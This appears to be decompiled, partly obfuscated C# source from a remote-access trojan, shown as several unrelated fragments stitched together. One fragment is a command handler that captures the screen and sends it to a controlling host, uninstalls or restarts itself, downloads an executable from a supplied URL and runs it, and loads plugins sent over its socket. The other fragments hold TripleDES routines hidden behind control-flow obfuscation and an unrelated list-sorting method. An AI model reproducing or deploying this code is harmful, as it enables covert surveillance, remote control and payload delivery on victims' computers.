Cursor.Position; size = new Size(32, 32); bounds = new Rectangle(arg_6FB_1, size); arg_702_0.Draw(arg_702_1, bounds); } catch (Exception expr_709) { ProjectData.SetProjectError(expr_709); ProjectData.ClearProjectError(); } graphics.Dispose(); Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2])); graphics = Graphics.FromImage(bitmap2); graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height); graphics.Dispose(); MemoryStream memoryStream4 = new MemoryStream(); string text2 = "CAP" + splitter; b = StringToBytes(ref text2); memoryStream4.Write(b, 0, b.Length); MemoryStream memoryStream5 = new MemoryStream(); bitmap2.Save(memoryStream5, ImageFormat.Jpeg); string left3 = CreateHash(memoryStream5.ToArray()); if (Operators.CompareString(left3, lastCapturedImage, false) != 0) { lastCapturedImage = left3; memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length); } else { memoryStream4.WriteByte(0); } Send(memoryStream4.ToArray()); memoryStream4.Dispose(); memoryStream5.Dispose(); bitmap.Dispose(); bitmap2.Dispose(); } else if (Operators.CompareString(left, "un", false) == 0) { string left4 = array[1]; if (Operators.CompareString(left4, "~", false) == 0) { Uninstall(); } else if (Operators.CompareString(left4, "!", false) == 0) { try { stubMutex.Close(); } catch { } Environment.Exit(0); } else if (Operators.CompareString(left4, "@", false) == 0) { Process.Start(currentAssemblyFileInfo.FullName); try { stubMutex.Close(); } catch { } Environment.Exit(0); } } else if (Operators.CompareString(left, "up", false) == 0) { byte[] bytes2 = null; if (array[1][0] == '\u001f') { try { MemoryStream memoryStream6 = new MemoryStream(); int length4 = (array[0] + splitter).Length; memoryStream6.Write(b, length4, b.Length - length4); bytes2 = DecompressGzip(memoryStream6.ToArray()); goto IL_97B; } catch { Send("MSG" + splitter + "Update ERROR"); Send("bla"); return; } } WebClient webClient2 = new WebClient(); try { bytes2 = webClient2.DownloadData(array[1]); } catch { Send("MSG" + splitter + "Update ERROR"); Send("bla"); return; } IL_97B: Send("bla"); string text3 = Path.GetTempFileName() + ".exe"; try { Send("MSG" + splitter + "Updating To " + new FileInfo(text3).Name); Thread.Sleep(2000); File.WriteAllBytes(text3, bytes2); Process.Start(text3, ".."); } catch (Exception ex2) { Send("MSG" + splitter + "Update ERROR " + ex2.Message); return; } Uninstall(); } else if (Operators.CompareString(left, "Ex", false) == 0) { if (currentPlugin == null) { Send("PLG"); int num = 0; while (!(currentPlugin != null | num == 20 | !isConnected)) { num++; Thread.Sleep(1000); } if (currentPlugin == null | !isConnected) { return; } } object arg_ABB_0 = currentPlugin; Type arg_ABB_1 = null; string arg_ABB_2 = "ind"; object[] array5 = new object[] { b }; object[] arg_ABB_3 = array5; string[] arg_ABB_4 = null; Type[] arg_ABB_5 = null; bool[] array6 = new bool[] { true }; NewLateBinding.LateCall(arg_ABB_0, arg_ABB_1, arg_ABB_2, arg_ABB_3, arg_ABB_4, arg_ABB_5, array6, true); if (array6[0]) { b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[])); } } else if (Operators.CompareString(left, "PLG", false) == 0) { MemoryStream memoryStream7 = new MemoryStream(); int length5 = (array[0] + splitter).Length; memoryStream7.Write(b, length5, b.Length - length5); currentPlugin = RuntimeHelpers.GetObjectValue(Plugin(DecompressGzip(memoryStream7.ToArray()), "A")); NewLateBinding.LateSet(currentPlugin, null, "H", new object[] { host }, null, null); NewLateBinding.LateSet(currentPlugin, null, "P", new object[] { port }, null, null); NewLateBinding.LateSet(currentPlugin, null, "c", new object[] { tcpSocket }, null, null); } } } catch (Exception ex3) { if (array.Length > 0 && (Operators.CompareString(array[0], "Ex", false) == 0 | Operators.CompareString(array[0], "PLG", false) == 0)) { currentPlugin = null; } try { Send(string.Concat(new string[] { "ER", splitter, array[0], splitter, ex3.Message })); } catch { } ProjectData.ClearProjectError(); } } }
// Token: 0x0600046A RID: 1130 RVA: 0x001D80D4 File Offset: 0x001D64D4 public void GClass9_ColumnClick(object sender, ColumnClickEventArgs e) { lock (this) { bool flag = e.Column != -1; if (flag) { try { ColumnHeader columnHeader = (ColumnHeader)NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(sender), null, "Columns", new object[] { e.Column }, null, null, null); flag = (this.columnHeader_0 == null); SortOrder sortOrder_; bool flag2; if (flag) { sortOrder_ = SortOrder.Ascending; columnHeader.Tag = "+"; } else { flag = columnHeader.Equals(this.columnHeader_0); if (flag) { flag2 = Operators.ConditionalCompareObjectEqual(RuntimeHelpers.GetObjectValue(this.columnHeader_0.Tag), "+", false); if (flag2) { sortOrder_ = SortOrder.Descending; this.columnHeader_0.Tag = "-"; } else { this.columnHeader_0.Tag = "+"; sortOrder_ = SortOrder.Ascending; } } else { sortOrder_ = SortOrder.Ascending; } } this.columnHeader_0 = columnHeader; flag2 = (this.columnHeader_0.Tag == null); if (flag2) { this.columnHeader_0.Tag = "+"; } flag2 = (sender != null); if (flag2) { NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(sender), null, "ListViewItemSorter", new object[] { new GClass9.GClass10(e.Column, sortOrder_) }, null, null); NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(sender), null, "Sort", new object[0], null, null, null, true); NewLateBinding.LateSet(RuntimeHelpers.GetObjectValue(sender), null, "ListViewItemSorter", new object[] { null }, null, null); } } catch (Exception ex) { } } } }
// Token: 0x06000177 RID: 375 RVA: 0x00031050 File Offset: 0x0002F250 public static byte[] jnx(byte[] jnw, byte[] jnq, byte[] jnz) { byte[] result; try { object instance = new TripleDESCryptoServiceProvider(); NewLateBinding.LateSet(instance, null, "Key", new object[] { jnq }, null, null); NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289080 -> "Mode")), new object[] { CipherMode.CBC }, null, null); NewLateBinding.LateSet(instance, null, "IV", new object[] { jnz }, null, null); NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288640 -> "Padding")), new object[] { PaddingMode.None }, null, null); for (;;) { IL_152: int num = 1742263625; for (;;) { switch ((num ^ 752070594) % 3) { case 0: goto IL_152; case 2: { object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(288616 -> "CreateDecryptor")), new object[0], null, null, null); Type type = null; string memberName = <Module>.smethod_strings_decryptor(288688 -> "TransformFinalBlock")); object[] array = new object[] { jnw, 0, jnw.Length }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true, false, false }; object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array2); if (array2[0]) { jnw = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(byte[])); } byte[] array3 = (byte[])obj; result = array3; num = 1641555903; continue; } } goto Block_3; } } Block_3:; } catch (Exception ex) { result = null; } return result; }
// Token: 0x06000176 RID: 374 RVA: 0x00030E90 File Offset: 0x0002F090 public static string jmw(byte[] jmq, byte[] jmz, byte[] jno) { string result; try { object instance = new TripleDESCryptoServiceProvider(); NewLateBinding.LateSet(instance, null, "Key", new object[] { jmz }, null, null); for (;;) { IL_17A: uint num = 358085816u; for (;;) { uint num2; switch ((num2 = (num ^ 445561275u)) % 4u) { case 0u: goto IL_17A; case 2u: { NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288928 -> "Padding")), new object[] { PaddingMode.None }, null, null); object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(289032 -> "CreateDecryptor")), new object[0], null, null, null); Type type = null; string memberName = <Module>.smethod_strings_decryptor(288976 -> "TransformFinalBlock")); object[] array = new object[] { jmq, 0, jmq.Length }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true, false, false }; object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array2); if (array2[0]) { jmq = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(byte[])); } byte[] bytes = (byte[])obj; result = Encoding.UTF8.GetString(bytes); num = 950430u; continue; } case 3u: NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(288856 -> "Mode")), new object[] { CipherMode.CBC }, null, null); NewLateBinding.LateSet(instance, null, "IV", new object[] { jno }, null, null); num = (num2 * 3720301735u ^ 3246904256u); continue; } goto Block_3; } } Block_3:; } catch (Exception ex) { result = null; } return result; }
// Token: 0x06000175 RID: 373 RVA: 0x00030C40 File Offset: 0x0002EE40 public static string jlw(string jlq, byte[] jlz, byte[] jmn) { object value = jlq; if (jlq[0] == '_') { value = jlq.Substring(1); } string result; try { byte[] array = Convert.FromBase64String(Conversions.ToString(value)); object instance = new TripleDESCryptoServiceProvider(); byte[] bytes; for (;;) { IL_1C0: uint num = 2798840847u; for (;;) { uint num2; switch ((num2 = (num ^ 2441644919u)) % 6u) { case 1u: NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289272 -> "Mode")), new object[] { CipherMode.CBC }, null, null); num = (num2 * 2996091882u ^ 3117231597u); continue; case 2u: NewLateBinding.LateSet(instance, null, "Key", new object[] { jlz }, null, null); num = (num2 * 1529882866u ^ 818523684u); continue; case 3u: { NewLateBinding.LateSet(instance, null, <Module>.smethod_strings_decryptor(289344 -> "Padding")), new object[] { PaddingMode.None }, null, null); object instance2 = NewLateBinding.LateGet(instance, null, <Module>.smethod_strings_decryptor(289320 -> "CreateDecryptor")), new object[0], null, null, null); Type type = null; string memberName = <Module>.smethod_strings_decryptor(288880 -> "TransformFinalBlock")); object[] array2 = new object[] { array, 0, array.Length }; object[] arguments = array2; string[] argumentNames = null; Type[] typeArguments = null; bool[] array3 = new bool[] { true, false, false }; object obj = NewLateBinding.LateGet(instance2, type, memberName, arguments, argumentNames, typeArguments, array3); if (array3[0]) { array = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[0]), typeof(byte[])); } bytes = (byte[])obj; num = 3759328199u; continue; } case 4u: NewLateBinding.LateSet(instance, null, "IV", new object[] { jmn }, null, null); num = (num2 * 2872348949u ^ 1740776270u); continue; case 5u: goto IL_1C0; } goto Block_4; } } Block_4: result = Encoding.UTF8.GetString(bytes); } catch (Exception ex) { for (;;) { IL_21B: uint num3 = 2968584005u; for (;;) { uint num2; switch ((num2 = (num3 ^ 2441644919u)) % 3u) { case 1u: result = null; num3 = (num2 * 500181452u ^ 3869677450u); continue; case 2u: goto IL_21B; } goto Block_6; } } Block_6:; } return result; }